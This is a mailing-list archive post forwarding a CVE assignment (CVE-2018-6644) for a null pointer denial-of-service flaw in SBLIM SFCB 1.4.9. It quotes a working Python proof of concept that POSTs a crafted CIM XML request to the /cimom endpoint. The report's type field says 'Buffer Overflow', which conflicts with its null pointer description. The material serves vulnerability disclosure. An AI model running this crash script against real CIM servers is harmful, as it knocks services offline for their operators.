[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <3f4673f3.2322.1616ea675cc.Coremail.hxl1999@yeah.net>
Date: Wed, 7 Feb 2018 13:04:18 +0800 (CST)
From: XinleiHe <hxl1999@...h.net>
To: oss-security@...ts.openwall.com
Subject: Fw:Re: [scr459004] sfcb - 1.4.9
-------- Forwarding messages --------
From: cve-request@...re.org
Date: 2018-02-06 04:11:55
To: hxl1999@...h.net
Cc: cve-request@...re.org
Subject: Re: [scr459004] sfcb - 1.4.9
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
The CVE ID is below. Please inform the software maintainer that the
CVE ID has been assigned.
> [Suggested description]
> SBLIM Small Footprint CIM Broker (SFCB) 1.4.9 has a
> null pointer (DoS) vulnerability via
> a crafted POST request to the /cimom URI.
>
> ------------------------------------------
>
> [Additional Information]
> You can use following python code to reproduce this vulnerability.
>
> import httplib
> from xml.dom.minidom import Document
> class write_xml(Document):
> def __init__(self):
>
> Document.__init__(self)
>
> def set_tag(self,tag):
> self.tag = tag
> self.cim = self.createElement(self.tag)
> #self.setAttribute("encoding", "utf-8")
>
> self.cim.setAttribute("CIMVERSION", "2.0")
> self.cim.setAttribute("DTDVERSION", "2.0")
> self.appendChild(self.cim)
>
> self.msg = self.createElement("MESSAGE")
> self.msg.setAttribute("ID", "4711")
> self.msg.setAttribute("PROTOCOLVERSION","1.0")
> self.cim.appendChild(self.msg)
>
> self.sim = self.createElement("SIMPLEREQ")
> self.msg.appendChild(self.sim)
>
> self.ime = self.createElement("IMETHODCALL")
> self.ime.setAttribute("NAME","EnumerateInstances")
> self.sim.appendChild(self.ime)
>
> self.local = self.createElement("LOCALNAMESPACEPATH")
> self.ime.appendChild(self.local)
>
> self.names1=self.createElement("NAMESPACE")
> self.names1.setAttribute("NAME", "root")
> self.local.appendChild(self.names1)
>
> def display(self):
> print self.toprettyxml(indent=" ")
> def retdata(self):
> return self.toprettyxml(indent=" ")
>
> def httpreq(data):
> conn = httplib.HTTPConnection("127.0.0.1", 5988, False)
> conn.request('POST', '/cimom',data)
> res = conn.getresponse()
>
> def main():
> wx = write_xml()
> wx.set_tag('CIM')
> print wx.retdata()
> print httpreq(wx.retdata())
>
> if __name__=='__main__':
> main()
>
> ------------------------------------------
>
> [Vulnerability Type]
> Buffer Overflow
>
> ------------------------------------------
>
> [Vendor of Product]
> SBLIM project
>
> ------------------------------------------
>
> [Affected Product Code Base]
> sfcb - 1.4.9
>
> ------------------------------------------
>
> [Impact Denial of Service]
> true
Use CVE-2018-6644.
- --
CVE Assignment Team
M/S M300, 202 Burlington Road, Bedford, MA 01730 USA
[ A PGP key is available for encrypted communications at
http://cve.mitre.org/cve/request_id.html ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCAAGBQJaeLorAAoJEHb/MwWLVhi2xdoP/2OaKyQzIatRABkB35IlzYpR
vkjtDA8uXjMIcnuJr/sYa/zVFjIBRFQ2nLRkJs2d5Ni1uNsZ3hGm5A7Tn3RFsEby
tL6CvtY8h0MBf4xf6ZVdkzwshJyb05qaOB7UfUL5Fskzoxvs2QpcbGKGtbtaKbPU
YZq4t6aIyZW9UMEwheeCBDzGqC/oLVRUxgztgAy8SIhIlVfwtYEmHvafs11cN2XV
EjVvIbaOeRlOfelJvlSKCOjHj0vjOesouiGlMLm3nqYXm5en/T66tuCpaajn4zzO
I/Wj0Fm8tm2w0pkdfcNBewLu7+4bjRsiJ8U0SVPFQaOENvK7C3q6NyrfCgs1qesR
fr4LS9TfOcuuIjxn9w3T0Hr4nOAJnSwTiwmnuKoQblA/Pn/r8CquyKh/Rh/ST6P7
YxLUt9ZzXKf2SlWV1q+68N9RvefoXQFgQdAP2eUG0Y2i8ACZmxCPVLMclwUHvYIG
KFlei2bIp4IADt3zRdndQBzEK1NwFhNwIKSnE7ybRQqFx6yTgoEiOP0CpYZLmRqi
g94pvunSBKqPcCNhW/C78orO0Tz7UegnkaBMNYgIgW/jCFEiFGSBgi4VIjW8WWrr
M+BM/UGehRBbGjmRqphsOBHdc1H9VKUAWJ0Y4hzQAd5Y6QCcTWb0uMlbNMjINshR
4TNbCFPf5EWJy7Bw8Gic
=q5wy
-----END PGP SIGNATURE-----
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
